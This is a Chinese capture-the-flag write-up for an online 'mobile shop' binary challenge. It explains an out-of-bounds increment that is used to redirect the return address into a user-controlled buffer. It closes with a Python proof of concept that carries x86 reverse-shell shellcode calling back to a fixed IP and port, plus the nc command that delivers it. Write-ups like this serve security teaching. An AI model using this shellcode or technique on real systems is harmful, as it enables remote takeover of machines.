linux-写入溢出

身无分文: 200

描述

米特尼克在BAT上班时，发现很多同事都在用新款Android手机，很是羡慕，他也想搞一部，来替换他那部用了“二十多年”的摩托罗拉手机。但是他在BAT公司还没拿到第一笔工资，用假身份申请的信用卡在租房与日常饮食上也快刷爆了，可以说是身无分文了。这却难不倒米特尼克，他发现了这个销售手机的在线商店。商店地址：218.2.197.251:1234 http://bctf.cn/files/downloads/mobile_shop_4d904f700ef95bae39936cd9c0829d31

程序界面：

做这种题可以先将 函数流程理出来就好做了

int __cdecl sub_8048C00()  主功能函数{

sub_8048840((int)&v4); 漏洞函数  -》

signed int __cdecl sub_8048A30(int a1)（

函数中明显有一个 sub_80486F0((int)&unk_804B1E0, 200, 10 明显200字节是装载shellcode的)

）

}

int __cdecl sub_8048C00()
{
  char *v0; // eax@1
  signed int v1; // eax@4
  int result; // eax@10
  char v3; // [sp+13h] [bp-19h]@2
  char arr; // [sp+14h] [bp-18h]@14
  char v5; // [sp+1Bh] [bp-11h]@1
  int v6; // [sp+1Ch] [bp-10h]@1

可以看到主函数 sub_8048C00   的返回地址肯定比  arr字符串的地址高，所以可以修改返回地址

可以发现漏洞点：

sub_8048C00   主功能函数
返回地址  ：0804859e

修改为      0804B1E0
输入 " -17"可以85 ++  (0xb1-0x85)次
输入 " -16"可以9e ++  (0xe0-0x9e)次

EDB看到：

GDB可以看到：

最后

nc 218.2.197.251:1234 1234 < payload.txt 即可获得shell

POC:

shellcode = (  
#define IPADDR '\x0a\x10\x02\x1c'  10.16.2.28
#define PORT '\x7a\x69'
'\x31\xc0\x31\xdb\x31\xc9\x31\xd2'
'\xb0\x66\xb3\x01\x51\x6a\x06\x6a'
'\x01\x6a\x02\x89\xe1\xcd\x80\x89'
'\xc6\xb0\x66\x31\xdb\xb3\x02\x68'
#IPADDR
'\x0a\x10\x02\x1c'
'\x66\x68'
#PORT
'\x7a\x69'
'\x66\x53\xfe'
'\xc3\x89\xe1\x6a\x10\x51\x56\x89'
'\xe1\xcd\x80\x31\xc9\xb1\x03\xfe'
'\xc9\xb0\x3f\xcd\x80\x75\xf8\x31'
'\xc0\x52\x68\x6e\x2f\x73\x68\x68'
'\x2f\x2f\x62\x69\x89\xe3\x52\x53'
'\x89\xe1\x52\x89\xe2\xb0\x0b\xcd'
'\x80\x90'
)

data = ''
data += 'a\n -16\n'*(0xe0-0x9e)
data += 'a\n -17\n'*(0xb1-0x85)
data += 'a\n1\n'
data += 'c\ny\n'
data += 'name\n'
data += shellcode+'\n'
data += 'd\n'
open('payload.txt','w').write(data)

import binascii
print repr(binascii.hexlify(data))